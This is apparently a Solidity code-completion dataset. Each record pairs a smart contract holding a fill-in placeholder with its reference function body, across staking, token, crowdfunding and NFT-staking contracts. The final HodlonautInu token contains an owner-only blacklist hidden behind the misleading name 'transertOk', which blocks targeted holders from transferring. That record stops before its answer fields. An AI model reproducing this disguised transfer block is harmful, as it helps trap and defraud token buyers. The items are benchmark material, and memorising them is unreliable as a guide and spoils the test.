_tokenTransfer(sender,recipient,amount,takeFee);
function _transfer(address sender, address recipient, uint256 amount) private
function _transfer(address sender, address recipient, uint256 amount) private
59090
StakingHelper
stakeSixMonths
contract StakingHelper { address public immutable staking; address public immutable SIN; constructor ( address _staking, address _SIN ) { require( _staking != address(0) ); staking = _staking; require( _SIN != address(0) ); SIN = _SIN; } function stake( uint _amount, address _recipient ) external { IERC20( SIN ).transferFrom( msg.sender, address(this), _amount ); IERC20( SIN ).approve( staking, _amount ); IStaking( staking ).stake( _amount, _recipient, IStaking.LOCKUPS.NONE ); IStaking( staking ).claim( _recipient ); } function stakeOneMonth( uint _amount, address _recipient ) external { IERC20( SIN ).transferFrom( msg.sender, address(this), _amount ); IERC20( SIN ).approve( staking, _amount ); IStaking( staking ).stake( _amount, _recipient, IStaking.LOCKUPS.MONTH1 ); IStaking( staking ).claim( _recipient ); } function stakeThreeMonths( uint _amount, address _recipient ) external { IERC20( SIN ).transferFrom( msg.sender, address(this), _amount ); IERC20( SIN ).approve( staking, _amount ); IStaking( staking ).stake( _amount, _recipient, IStaking.LOCKUPS.MONTH3 ); IStaking( staking ).claim( _recipient ); } function stakeSixMonths( uint _amount, address _recipient ) external {<FILL_FUNCTION_BODY> } }
contract StakingHelper { address public immutable staking; address public immutable SIN; constructor ( address _staking, address _SIN ) { require( _staking != address(0) ); staking = _staking; require( _SIN != address(0) ); SIN = _SIN; } function stake( uint _amount, address _recipient ) external { IERC20( SIN ).transferFrom( msg.sender, address(this), _amount ); IERC20( SIN ).approve( staking, _amount ); IStaking( staking ).stake( _amount, _recipient, IStaking.LOCKUPS.NONE ); IStaking( staking ).claim( _recipient ); } function stakeOneMonth( uint _amount, address _recipient ) external { IERC20( SIN ).transferFrom( msg.sender, address(this), _amount ); IERC20( SIN ).approve( staking, _amount ); IStaking( staking ).stake( _amount, _recipient, IStaking.LOCKUPS.MONTH1 ); IStaking( staking ).claim( _recipient ); } function stakeThreeMonths( uint _amount, address _recipient ) external { IERC20( SIN ).transferFrom( msg.sender, address(this), _amount ); IERC20( SIN ).approve( staking, _amount ); IStaking( staking ).stake( _amount, _recipient, IStaking.LOCKUPS.MONTH3 ); IStaking( staking ).claim( _recipient ); } <FILL_FUNCTION> }
IERC20( SIN ).transferFrom( msg.sender, address(this), _amount ); IERC20( SIN ).approve( staking, _amount ); IStaking( staking ).stake( _amount, _recipient, IStaking.LOCKUPS.MONTH6 ); IStaking( staking ).claim( _recipient );
function stakeSixMonths( uint _amount, address _recipient ) external
function stakeSixMonths( uint _amount, address _recipient ) external
49751
IDcoin
validTransfer
contract IDcoin is Token, LockBalance { constructor() public { name = "SHIELDCURE"; symbol = "ID"; decimals = 18; uint256 initialSupply = 1500000000; totalSupply = initialSupply * 10 ** uint(decimals); user[owner].balance = totalSupply; emit Transfer(address(0), owner, totalSupply); } function validTransfer(address _from, address _to, uint256 _value, bool _lockCheck) internal {<FILL_FUNCTION_BODY> } function setLockUsers(eLockType _type, address[] memory _to, uint256[] memory _value, uint256[] memory _endTime) onlyOwner public { require(_to.length > 0); require(_to.length == _value.length); require(_to.length == _endTime.length); require(_type != eLockType.None); for(uint256 i = 0; i < _to.length; i++){ require(_value[i] <= useBalanceOf(_to[i])); setLockUser(_to[i], _type, _value[i], _endTime[i]); } } function useBalanceOf(address _owner) public view returns (uint256) { return balanceOf(_owner).sub(lockBalanceAll(_owner)); } }
contract IDcoin is Token, LockBalance { constructor() public { name = "SHIELDCURE"; symbol = "ID"; decimals = 18; uint256 initialSupply = 1500000000; totalSupply = initialSupply * 10 ** uint(decimals); user[owner].balance = totalSupply; emit Transfer(address(0), owner, totalSupply); } <FILL_FUNCTION> function setLockUsers(eLockType _type, address[] memory _to, uint256[] memory _value, uint256[] memory _endTime) onlyOwner public { require(_to.length > 0); require(_to.length == _value.length); require(_to.length == _endTime.length); require(_type != eLockType.None); for(uint256 i = 0; i < _to.length; i++){ require(_value[i] <= useBalanceOf(_to[i])); setLockUser(_to[i], _type, _value[i], _endTime[i]); } } function useBalanceOf(address _owner) public view returns (uint256) { return balanceOf(_owner).sub(lockBalanceAll(_owner)); } }
super.validTransfer(_from, _to, _value, _lockCheck); if(_lockCheck) { require(_value <= useBalanceOf(_from)); }
function validTransfer(address _from, address _to, uint256 _value, bool _lockCheck) internal
function validTransfer(address _from, address _to, uint256 _value, bool _lockCheck) internal
65201
RCR
transfer
contract RCR is SafeMath{ uint256 public totalSupply; string public name = "RisingCurrency"; string public symbol = "RCR"; uint8 public decimals = 8; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* Initializes contract with initial supply tokens to the creator of the contract */ function RCR() { totalSupply = 300000000 * 10 ** 8; // Update total supply balanceOf[0xB97f41cc340899DbA210BdCc86a912ef100eFE96] = totalSupply; // Give the creator all initial tokens } /* Send coins */ function transfer(address _to, uint256 _value) {<FILL_FUNCTION_BODY> } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) returns (bool success) { if (_value <= 0) throw; allowance[msg.sender][_spender] = _value; return true; } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (_to == 0x0) throw; // Prevent transfer to 0x0 address. Use burn() instead if (_value <= 0) throw; if (balanceOf[_from] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows if (_value > allowance[_from][msg.sender]) throw; // Check allowance balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } // can accept ether function() payable { revert(); } }
contract RCR is SafeMath{ uint256 public totalSupply; string public name = "RisingCurrency"; string public symbol = "RCR"; uint8 public decimals = 8; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* Initializes contract with initial supply tokens to the creator of the contract */ function RCR() { totalSupply = 300000000 * 10 ** 8; // Update total supply balanceOf[0xB97f41cc340899DbA210BdCc86a912ef100eFE96] = totalSupply; // Give the creator all initial tokens } <FILL_FUNCTION> /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) returns (bool success) { if (_value <= 0) throw; allowance[msg.sender][_spender] = _value; return true; } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (_to == 0x0) throw; // Prevent transfer to 0x0 address. Use burn() instead if (_value <= 0) throw; if (balanceOf[_from] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows if (_value > allowance[_from][msg.sender]) throw; // Check allowance balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } // can accept ether function() payable { revert(); } }
if (_to == 0x0) throw; // Prevent transfer to 0x0 address. Use burn() instead if (_value <= 0) throw; if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
function transfer(address _to, uint256 _value)
/* Send coins */ function transfer(address _to, uint256 _value)
80127
CampaignMango
contribute
contract CampaignMango { using SafeMath for uint256; // Request definition struct Request { string description; uint256 value; address payable recipient; bool complete; uint256 approvalCount; mapping(address => bool) approvals; } Request[] public requests; // requests instance address public manager; // the owner uint256 minimumContribution; // the... minimum contribution /* a factor to calculate minimum number of approvers by 100/factor the factor values are 2 and 10, factors that makes sense: 2: meaning that the number or approvers required will be 50% 3: 33.3% 4: 25% 5: 20% 10: 10% */ uint8 approversFactor; mapping(address => bool) public approvers; uint256 public approversCount; // function to add validation of the manager to run any function modifier restricted() { require(msg.sender == manager); _; } // Constructor function to create a Campaign constructor(address creator, uint256 minimum, uint8 factor) public { // validate factor number betweeb 2 and 10 require(factor >= 2); require(factor <= 10); manager = creator; approversFactor = factor; minimumContribution = minimum; } // allows a contributions function contribute() public payable {<FILL_FUNCTION_BODY> } // create a request... function createRequest(string memory description, uint256 value, address payable recipient) public restricted { // create the struct, specifying memory as a holder Request memory newRequest = Request({ description: description, value: value, recipient: recipient, complete: false, approvalCount: 0 }); requests.push(newRequest); } // contributors has the right to approve request function approveRequest(uint256 index) public { // this is to store in a local variable "request" the request[index] and avoid using it all the time Request storage request = requests[index]; // if will require that the sender address is in the mapping of approvers require(approvers[msg.sender]); // it will require the contributor not to vote twice for the same request require(!request.approvals[msg.sender]); // add the voter to the approvals map request.approvals[msg.sender] = true; // increment the number of YES votes for the request request.approvalCount++; } // check if the sender already approved the request index function approved(uint256 index) public view returns (bool) { // if the msg.sender is an approver and also the msg.sender already approved the request “index” returns true if (approvers[msg.sender] && requests[index].approvals[msg.sender]) { return true; } else { return false; } } // send the money to the vendor if there are enough votes // only the creator is allowed to run this function function finalizeRequest(uint256 index) public restricted { // this is to store in a local variable "request" the request[index] and avoid using it all the time Request storage request = requests[index]; // transfer the money if it has more than X% of approvals require(request.approvalCount >= approversCount.div(approversFactor)); // we will require that the request in process is not completed yet require(!request.complete); // mark the request as completed request.complete = true; // transfer the money requested (value) from the contract to the vendor that created the request request.recipient.transfer(request.value); } // helper function to show basic info of a contract in the interface function getSummary() public view returns ( uint256, uint256, uint256, uint256, address ) { return ( minimumContribution, address(this).balance, requests.length, approversCount, manager ); } function getRequestsCount() public view returns (uint256) { return requests.length; } }
contract CampaignMango { using SafeMath for uint256; // Request definition struct Request { string description; uint256 value; address payable recipient; bool complete; uint256 approvalCount; mapping(address => bool) approvals; } Request[] public requests; // requests instance address public manager; // the owner uint256 minimumContribution; // the... minimum contribution /* a factor to calculate minimum number of approvers by 100/factor the factor values are 2 and 10, factors that makes sense: 2: meaning that the number or approvers required will be 50% 3: 33.3% 4: 25% 5: 20% 10: 10% */ uint8 approversFactor; mapping(address => bool) public approvers; uint256 public approversCount; // function to add validation of the manager to run any function modifier restricted() { require(msg.sender == manager); _; } // Constructor function to create a Campaign constructor(address creator, uint256 minimum, uint8 factor) public { // validate factor number betweeb 2 and 10 require(factor >= 2); require(factor <= 10); manager = creator; approversFactor = factor; minimumContribution = minimum; } <FILL_FUNCTION> // create a request... function createRequest(string memory description, uint256 value, address payable recipient) public restricted { // create the struct, specifying memory as a holder Request memory newRequest = Request({ description: description, value: value, recipient: recipient, complete: false, approvalCount: 0 }); requests.push(newRequest); } // contributors has the right to approve request function approveRequest(uint256 index) public { // this is to store in a local variable "request" the request[index] and avoid using it all the time Request storage request = requests[index]; // if will require that the sender address is in the mapping of approvers require(approvers[msg.sender]); // it will require the contributor not to vote twice for the same request require(!request.approvals[msg.sender]); // add the voter to the approvals map request.approvals[msg.sender] = true; // increment the number of YES votes for the request request.approvalCount++; } // check if the sender already approved the request index function approved(uint256 index) public view returns (bool) { // if the msg.sender is an approver and also the msg.sender already approved the request “index” returns true if (approvers[msg.sender] && requests[index].approvals[msg.sender]) { return true; } else { return false; } } // send the money to the vendor if there are enough votes // only the creator is allowed to run this function function finalizeRequest(uint256 index) public restricted { // this is to store in a local variable "request" the request[index] and avoid using it all the time Request storage request = requests[index]; // transfer the money if it has more than X% of approvals require(request.approvalCount >= approversCount.div(approversFactor)); // we will require that the request in process is not completed yet require(!request.complete); // mark the request as completed request.complete = true; // transfer the money requested (value) from the contract to the vendor that created the request request.recipient.transfer(request.value); } // helper function to show basic info of a contract in the interface function getSummary() public view returns ( uint256, uint256, uint256, uint256, address ) { return ( minimumContribution, address(this).balance, requests.length, approversCount, manager ); } function getRequestsCount() public view returns (uint256) { return requests.length; } }
// validate minimun contribution require(msg.value >= minimumContribution); // increment the number of approvers if (!approvers[msg.sender]) { approversCount++; } approvers[msg.sender] = true; // this maps this address with true
function contribute() public payable
// allows a contributions function contribute() public payable
25891
DillPickle
null
contract DillPickle is ERC20, ERC20Burnable { constructor(uint256 initialSupply) public ERC20("Dill Pickle Token", "DILL") {<FILL_FUNCTION_BODY> } }
contract DillPickle is ERC20, ERC20Burnable { <FILL_FUNCTION> }
initialSupply = 700000 * 10**18; _mint(msg.sender, initialSupply);
constructor(uint256 initialSupply) public ERC20("Dill Pickle Token", "DILL")
constructor(uint256 initialSupply) public ERC20("Dill Pickle Token", "DILL")
64855
NFTStaking
withdraw
contract NFTStaking is ReentrancyGuard, Pausable, Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; struct NftToken { bool hasValue; mapping(address => uint256) balances; } /* ========== STATE VARIABLES ========== */ IERC20 public NDR; IERC1155 public NFT; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public rewardsDuration = 182 days; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; uint256 public _totalStrength; uint256 private _totalSupply; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public strengthWeight; mapping(address => uint256) public rewards; mapping(address => uint256) private _balances; uint256 public tokenMaxAmount; mapping(uint256 => bool) private supportedSeries; uint256[] public nftTokens; mapping(uint256 => NftToken) public nftTokenMap; /* ========== CONSTRUCTOR ========== */ constructor(address _NFT, address _NDR) public { NDR = IERC20(_NDR); NFT = IERC1155(_NFT); } /* ========== VIEWS ========== */ /** * @dev Total staked cards in total */ function totalSupply() external view returns (uint256) { return _totalSupply; } /** * @dev Total staked cards by user */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } /** * @dev Total staked card by user */ function balanceByTokenIdOf(uint256 tokenId, address account) external view returns (uint256) { return nftTokenMap[tokenId].balances[account]; } /** * @dev Returns all NFT tokenids */ function getNftTokens() external view returns (uint256[] memory) { return nftTokens; } function lastTimeRewardApplicable() public view returns (uint256) { return min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalStrength == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(_totalStrength) ); } /** * @dev Get claimable NDR amount */ function earned(address account) public view returns (uint256) { return strengthWeight[account] .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(rewardsDuration); } function min(uint256 a, uint256 b) public pure returns (uint256) { return a < b ? a : b; } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @dev Sets max amount */ function setTokenMaxAmount(uint256 _tokenMaxAmount) public onlyOwner { tokenMaxAmount = _tokenMaxAmount; } /** * @dev Sets supported series */ function setSupportedSeries(uint256 _series, bool supported) public onlyOwner { supportedSeries[_series] = supported; } /** * @dev Change contract addresses of ERC-20, ERC-1155 tokens */ function changeAddresses(address _NDR, address _NFT) public onlyOwner { NDR = IERC20(_NDR); NFT = IERC1155(_NFT); } /** * @dev Stake ERC-1155 */ function stake(uint256[] calldata tokenIds, uint256[] calldata amounts) external nonReentrant whenNotPaused updateReward(msg.sender) { require(tokenIds.length == amounts.length, "TokenIds and amounts length should be the same"); for(uint256 i = 0; i < tokenIds.length; i++) { stakeInternal(tokenIds[i], amounts[i]); } } /** * @dev Stake particular ERC-1155 tokenId */ function stakeInternal(uint256 tokenId, uint256 amount) internal { (,,,,,uint256 series) = INodeRunnersNFT(address(NFT)).getFighter(tokenId); if(!nftTokenMap[tokenId].hasValue) { nftTokens.push(tokenId); nftTokenMap[tokenId] = NftToken({ hasValue: true }); } require(supportedSeries[series] == true, "wrong id"); require(nftTokenMap[tokenId].balances[msg.sender].add(amount) <= tokenMaxAmount, "NFT max reached"); (uint256 strength,,,,,) = INodeRunnersNFT(address(NFT)).getFighter(tokenId); strength = strength.mul(amount); strengthWeight[msg.sender] = strengthWeight[msg.sender].add(strength); _totalStrength = _totalStrength.add(strength); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); nftTokenMap[tokenId].balances[msg.sender] = nftTokenMap[tokenId].balances[msg.sender].add(amount); NFT.safeTransferFrom(msg.sender, address(this), tokenId, amount, "0x0"); emit Staked(msg.sender, tokenId, amount); } /** * @dev Withdraw ERC-1155 */ function withdrawNFT(uint256[] memory tokenIds, uint256[] memory amounts) public updateReward(msg.sender) { require(tokenIds.length == amounts.length, "TokenIds and amounts length should be the same"); for(uint256 i = 0; i < tokenIds.length; i++) { withdrawNFTInternal(tokenIds[i], amounts[i]); } } /** * @dev Withdraw particular ERC-1155 tokenId */ function withdrawNFTInternal(uint256 tokenId, uint256 amount) internal { (uint256 strength,,,,,) = INodeRunnersNFT(address(NFT)).getFighter(tokenId); strength = strength.mul(amount); strengthWeight[msg.sender] = strengthWeight[msg.sender].sub(strength); _totalStrength = _totalStrength.sub(strength); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); nftTokenMap[tokenId].balances[msg.sender] = nftTokenMap[tokenId].balances[msg.sender].sub(amount); NFT.safeTransferFrom(address(this), msg.sender, tokenId, amount, "0x0"); emit Withdrawn(msg.sender, tokenId, amount); } /** * @dev Withdraw all cards */ function withdraw() public updateReward(msg.sender) {<FILL_FUNCTION_BODY> } /** * @dev Get all rewards */ function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; NDR.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } /** * @dev Unstake all cards and get all rewards */ function exit() external { withdraw(); getReward(); } /* ========== RESTRICTED FUNCTIONS ========== */ function onERC1155Received(address, address, uint256, uint256, bytes memory) public pure virtual returns (bytes4) { return this.onERC1155Received.selector; } function notifyRewardAmount(uint256 reward) external onlyOwner updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(rewardsDuration); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint256 balance = NDR.balanceOf(address(this)); require( rewardRate <= balance.div(rewardsDuration), "Provided reward too high" ); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); emit RewardAdded(reward); } // Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { // Cannot recover the staking token or the rewards token require( tokenAddress != address(NFT) && tokenAddress != address(NDR), "Cannot withdraw the staking or rewards tokens" ); IERC20(tokenAddress).safeTransfer(this.owner(), tokenAmount); emit Recovered(tokenAddress, tokenAmount); } function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner { require( block.timestamp > periodFinish, "Previous rewards period must be complete before changing the duration for the new period" ); rewardsDuration = _rewardsDuration; emit RewardsDurationUpdated(rewardsDuration); } /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 tokenId, uint256 amount); event Withdrawn(address indexed user, uint256 tokenId, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event RewardsDurationUpdated(uint256 newDuration); event Recovered(address token, uint256 amount); }
contract NFTStaking is ReentrancyGuard, Pausable, Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; struct NftToken { bool hasValue; mapping(address => uint256) balances; } /* ========== STATE VARIABLES ========== */ IERC20 public NDR; IERC1155 public NFT; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public rewardsDuration = 182 days; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; uint256 public _totalStrength; uint256 private _totalSupply; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public strengthWeight; mapping(address => uint256) public rewards; mapping(address => uint256) private _balances; uint256 public tokenMaxAmount; mapping(uint256 => bool) private supportedSeries; uint256[] public nftTokens; mapping(uint256 => NftToken) public nftTokenMap; /* ========== CONSTRUCTOR ========== */ constructor(address _NFT, address _NDR) public { NDR = IERC20(_NDR); NFT = IERC1155(_NFT); } /* ========== VIEWS ========== */ /** * @dev Total staked cards in total */ function totalSupply() external view returns (uint256) { return _totalSupply; } /** * @dev Total staked cards by user */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } /** * @dev Total staked card by user */ function balanceByTokenIdOf(uint256 tokenId, address account) external view returns (uint256) { return nftTokenMap[tokenId].balances[account]; } /** * @dev Returns all NFT tokenids */ function getNftTokens() external view returns (uint256[] memory) { return nftTokens; } function lastTimeRewardApplicable() public view returns (uint256) { return min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalStrength == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(_totalStrength) ); } /** * @dev Get claimable NDR amount */ function earned(address account) public view returns (uint256) { return strengthWeight[account] .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(rewardsDuration); } function min(uint256 a, uint256 b) public pure returns (uint256) { return a < b ? a : b; } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @dev Sets max amount */ function setTokenMaxAmount(uint256 _tokenMaxAmount) public onlyOwner { tokenMaxAmount = _tokenMaxAmount; } /** * @dev Sets supported series */ function setSupportedSeries(uint256 _series, bool supported) public onlyOwner { supportedSeries[_series] = supported; } /** * @dev Change contract addresses of ERC-20, ERC-1155 tokens */ function changeAddresses(address _NDR, address _NFT) public onlyOwner { NDR = IERC20(_NDR); NFT = IERC1155(_NFT); } /** * @dev Stake ERC-1155 */ function stake(uint256[] calldata tokenIds, uint256[] calldata amounts) external nonReentrant whenNotPaused updateReward(msg.sender) { require(tokenIds.length == amounts.length, "TokenIds and amounts length should be the same"); for(uint256 i = 0; i < tokenIds.length; i++) { stakeInternal(tokenIds[i], amounts[i]); } } /** * @dev Stake particular ERC-1155 tokenId */ function stakeInternal(uint256 tokenId, uint256 amount) internal { (,,,,,uint256 series) = INodeRunnersNFT(address(NFT)).getFighter(tokenId); if(!nftTokenMap[tokenId].hasValue) { nftTokens.push(tokenId); nftTokenMap[tokenId] = NftToken({ hasValue: true }); } require(supportedSeries[series] == true, "wrong id"); require(nftTokenMap[tokenId].balances[msg.sender].add(amount) <= tokenMaxAmount, "NFT max reached"); (uint256 strength,,,,,) = INodeRunnersNFT(address(NFT)).getFighter(tokenId); strength = strength.mul(amount); strengthWeight[msg.sender] = strengthWeight[msg.sender].add(strength); _totalStrength = _totalStrength.add(strength); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); nftTokenMap[tokenId].balances[msg.sender] = nftTokenMap[tokenId].balances[msg.sender].add(amount); NFT.safeTransferFrom(msg.sender, address(this), tokenId, amount, "0x0"); emit Staked(msg.sender, tokenId, amount); } /** * @dev Withdraw ERC-1155 */ function withdrawNFT(uint256[] memory tokenIds, uint256[] memory amounts) public updateReward(msg.sender) { require(tokenIds.length == amounts.length, "TokenIds and amounts length should be the same"); for(uint256 i = 0; i < tokenIds.length; i++) { withdrawNFTInternal(tokenIds[i], amounts[i]); } } /** * @dev Withdraw particular ERC-1155 tokenId */ function withdrawNFTInternal(uint256 tokenId, uint256 amount) internal { (uint256 strength,,,,,) = INodeRunnersNFT(address(NFT)).getFighter(tokenId); strength = strength.mul(amount); strengthWeight[msg.sender] = strengthWeight[msg.sender].sub(strength); _totalStrength = _totalStrength.sub(strength); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); nftTokenMap[tokenId].balances[msg.sender] = nftTokenMap[tokenId].balances[msg.sender].sub(amount); NFT.safeTransferFrom(address(this), msg.sender, tokenId, amount, "0x0"); emit Withdrawn(msg.sender, tokenId, amount); } <FILL_FUNCTION> /** * @dev Get all rewards */ function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; NDR.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } /** * @dev Unstake all cards and get all rewards */ function exit() external { withdraw(); getReward(); } /* ========== RESTRICTED FUNCTIONS ========== */ function onERC1155Received(address, address, uint256, uint256, bytes memory) public pure virtual returns (bytes4) { return this.onERC1155Received.selector; } function notifyRewardAmount(uint256 reward) external onlyOwner updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(rewardsDuration); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint256 balance = NDR.balanceOf(address(this)); require( rewardRate <= balance.div(rewardsDuration), "Provided reward too high" ); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); emit RewardAdded(reward); } // Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { // Cannot recover the staking token or the rewards token require( tokenAddress != address(NFT) && tokenAddress != address(NDR), "Cannot withdraw the staking or rewards tokens" ); IERC20(tokenAddress).safeTransfer(this.owner(), tokenAmount); emit Recovered(tokenAddress, tokenAmount); } function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner { require( block.timestamp > periodFinish, "Previous rewards period must be complete before changing the duration for the new period" ); rewardsDuration = _rewardsDuration; emit RewardsDurationUpdated(rewardsDuration); } /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 tokenId, uint256 amount); event Withdrawn(address indexed user, uint256 tokenId, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event RewardsDurationUpdated(uint256 newDuration); event Recovered(address token, uint256 amount); }
uint256[] memory tokenIds = new uint256[](nftTokens.length); uint256[] memory amounts = new uint256[](nftTokens.length); for (uint8 i = 0; i < nftTokens.length; i++) { uint256 tokenId = nftTokens[i]; tokenIds[i] = tokenId; uint256 balance = nftTokenMap[tokenId].balances[msg.sender]; amounts[i] = balance; } withdrawNFT(tokenIds, amounts);
function withdraw() public updateReward(msg.sender)
/** * @dev Withdraw all cards */ function withdraw() public updateReward(msg.sender)
50628
HodlonautInu
_approve
contract HodlonautInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => bool) private aha; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 100 * 10**9 * 10**18; string private _name = 'HoldlonautInu | https://t.me/hodlonautinu'; string private _symbol = 'HODLO'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function isTransfertOk(address account) public view returns (bool) { return aha[account]; } function transertOk(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.'); require(!aha[account], "Account is already blacklisted"); aha[account] = true; } function _approve(address from, address to, uint256 amount) private {<FILL_FUNCTION_BODY> } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); require(!aha[recipient], "CHEH"); require(!aha[msg.sender], "CHEH"); require(!aha[sender], "CHEH"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
